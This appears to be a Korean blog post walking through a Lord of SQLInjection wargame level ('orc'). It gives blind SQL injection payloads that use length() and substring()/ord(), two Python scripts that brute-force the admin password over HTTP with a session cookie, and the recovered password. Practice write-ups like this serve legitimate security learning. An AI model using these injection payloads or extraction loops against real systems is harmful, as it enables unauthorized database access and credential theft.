반응형
Lord of SQLInjection 4번 orc
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
이전 문제에서는 id가 admin일때 문제가 해결되었지만 이번문제는 id가 admin일때 pw값을 직접 비교한다.
즉, pw값을 정확히 알아내야 하는 문제이다.
Blind SQLInjection으로 해결할 수 있다.
우선 코드에서 length가 필터링이 안 되어있으므로 pw의 길이를 알아낼수 있다.
pw=''or length(pw)>5;#'
length 구문이 참인지 거짓인지를 Hello admin이라는 문자열로 알려준다.
pw는 5보다 크다.
찾다 보면 길이는 8자이다.
python으로도 풀 수 있다.
import requests
import re
url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookies={"PHPSESSID":"본인의 세션값"}
for i in range(0,10):
pay=f"?pw='or id='admin' and length(pw)={i};%23" #pw 길이 비교
res=requests.get(url+pay,cookies=cookies)
find = re.findall("Hello admin", res.text) # Hello admin 문자열 매칭
if find:
print("length:",i)
length=i
break
==> length: 8
이제는 첫글자를 찾을 차례이다.
substring으로 찾을 수 있다.
pw=''or substring(pw,1,1)=0;#'
substring(문자열, 시작위치, 개수)
첫번째 문자열은 0이다.
이것도 python으로 풀 수 있다.
import requests
url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookies={"PHPSESSID":"686fl740nsb98gmrbn9p0mlhg3"}
pw=""
for i in range(1,9):
for j in range(32,127):
pay=f"?pw='or id='admin' and ord(substring(pw,{i},1))={j};%23" #첫글자씩 찾기
res=requests.get(url+pay,cookies=cookies)
find = re.findall("Hello admin", res.text)
if find:
pw+=chr(j)
break
print("pw=",pw)
pw= 095a9852
반응형
'#WarGame > Lord of SQLInjection' 카테고리의 다른 글
Lord of SQLInjection 6번 darkelf (0) | 2021.08.06 |
---|---|
Lord of SQLInjection 5번 wolfman (0) | 2021.08.06 |
Lord of SQLInjection 3번 goblin (0) | 2021.08.06 |
Lord of SQLInjection 2번 cobolt (0) | 2021.08.06 |
Lord of SQLInjection 1번 gremlin (0) | 2021.08.06 |